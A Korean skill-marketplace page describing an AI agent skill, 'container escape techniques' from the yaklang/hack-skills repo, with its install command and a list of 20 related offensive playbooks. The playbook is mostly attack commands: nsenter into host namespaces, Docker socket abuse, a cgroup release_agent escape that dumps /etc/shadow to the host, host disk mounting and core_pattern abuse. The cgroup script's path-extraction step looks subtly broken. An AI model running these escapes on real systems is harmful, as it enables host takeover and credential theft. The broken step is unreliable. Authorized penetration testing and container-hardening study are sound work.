Community코딩 & 개발github.com

yaklang/컨테이너 탈출 기술

컨테이너 탈출 플레이북. Docker 컨테이너, LXC 또는 Kubernetes Pod 내에서 작업할 때 권한 모드, Capabilities, Docker 소켓, cgroup 남용, 네임스페이스 트릭 또는 런타임 취약점을 통해 호스트로 탈출해야 하는 경우 사용합니다.

컨테이너 탈출 기술란 무엇인가요?

이 스킬은 컨테이너화된 환경(Docker, LXC, Kubernetes Pod)에서 호스트 시스템으로 탈출하기 위한 실용적인 기술과 방법을 제공하는 플레이북입니다. 주로 취약점 분석, 침투 테스트, 보안 감사 시나리오에서 유용하며, 권한 상승, 네임스페이스 우회, cgroup 악용, Docker 소켓 접근, 그리고 알려진 런타임 취약점(CVE)을 활용하는 방법을 다룹니다. 지원하는 플랫폼은 Linux 기반의 Docker, LXC, Kubernetes이며, 각 기술은 명령어 기반의 단계별 설명과 함께 제공됩니다. 스킬의 작동 방식은 사용자가 현재 환경을 진단하고 적절한 탈출 벡터를 선택한 후 제공된 명령어를 실행하는 방식입니다. 이를 통해 보안 전문가나 개발자는 컨테이너 보안 취약점을 신속하게 식별하고 검증할 수 있습니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/container-escape-techniques

Installed? Explore more 코딩 & 개발 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

컨테이너 탈출 기술은(는) 무엇을 하나요?

컨테이너 탈출 플레이북. Docker 컨테이너, LXC 또는 Kubernetes Pod 내에서 작업할 때 권한 모드, Capabilities, Docker 소켓, cgroup 남용, 네임스페이스 트릭 또는 런타임 취약점을 통해 호스트로 탈출해야 하는 경우 사용합니다.

사용 전 확인

  • 현재 컨테이너 내 권한 확인: cat /proc/1/status | grep CapEff
  • 마운트된 Docker 소켓 확인: ls -la /var/run/docker.sock
  • 사용 가능한 Capabilities 확인: capsh --print

기본 탈출 기법

1. 권한 모드 (Privileged Mode)

# 호스트 네임스페이스 확인
nsenter --target 1 --mount --uts --ipc --pid /bin/bash

2. Docker 소켓 악용

# Docker 소켓이 마운트된 경우
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host ubuntu bash

3. cgroup 악용 (CVE-2022-0492)

# cgroup notify_on_release를 통한 탈출
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\/percore.priority *//p' /proc/mounts`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

4. 네임스페이스 조작

# nsenter를 사용한 호스트 PID 네임스페이스 진입
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash

5. mount 네임스페이스 탈출

# 호스트 파일 시스템 마운트 시도
mount /dev/sda1 /mnt
chroot /mnt /bin/bash

고급 기법

1. SYS_PTRACE + SYS_ADMIN

# ptrace를 통해 호스트 프로세스에 코드 주입
gdb -p <PID>

2. /proc/sys/kernel/core_pattern 악용

# core_pattern을 통한 명령 실행
echo "|" > /proc/sys/kernel/core_pattern

3. runC 취약점 (CVE-2019-5736)

# runC 오버라이드를 통한 탈출 (자세한 내용은 해당 CVE 참조)

참고 자료

경고: 이 기술들은 권한이 부여된 보안 테스트 환경에서만 사용해야 합니다. 무단 사용은 불법입니다.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

관련 스킬